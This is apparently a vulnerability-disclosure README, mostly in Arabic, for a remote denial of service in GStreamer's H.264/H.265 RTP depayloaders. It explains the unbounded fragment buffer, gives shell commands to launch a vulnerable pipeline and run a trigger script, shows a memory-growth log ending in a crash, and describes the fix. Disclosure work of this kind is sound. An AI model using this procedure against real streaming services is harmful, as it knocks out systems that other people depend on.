
Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).
إثبات مفهوم لثغرة استنزاف الموارد في مفكك حمولة RTP الخاص بـ H.264 في GStreamer (rtph264depay). النمط نفسه يؤثر أيضًا على rtph265depay.
أثناء إعادة تجميع حزم RTP المجزأة وفق نمط FU-A لـ H.264، يُدفع كل جزء وارد إلى مخزن داخلي من نوع GstAdapter دون حد أقصى للحجم. لا يفرغ المخزن محتواه إلا عند تعيين بِت نهاية الجزء (E) في ترويسة FU. يرسل مهاجم عن بُعد جزء بداية واحدًا صالحًا، ثم تيارًا لا نهائيًا من أجزاء الاستمرار دون تعيين بِت E إطلاقًا. يستمر المخزن في النمو حتى تنفد ذاكرة العملية وتتعطل.
الشرح الكامل: 0xsemizzz.vercel.app/projects/gstreamer-cve
gst-plugins-good قبل الإصلاح الصادر من المشروع الأصلي (upstream). تم تأكيد التأثير على الإصدار 1.28.2 (أوبونتو 24.04).
شغّل خط أنابيب (pipeline)، ثم نفّذ إثبات المفهوم:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
للحصول على تعطل سريع، أضف حدًا للذاكرة:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
تمت إضافة خاصية max-reassembly-size إلى rtph264depay و rtph265depay. يجب على التطبيقات تعيينها إلى قيمة منطقية (16 ميغابايت للفيديو هو المعتاد). القيمة الافتراضية هي 0 (غير محدود) لضمان التوافق مع الإصدارات السابقة.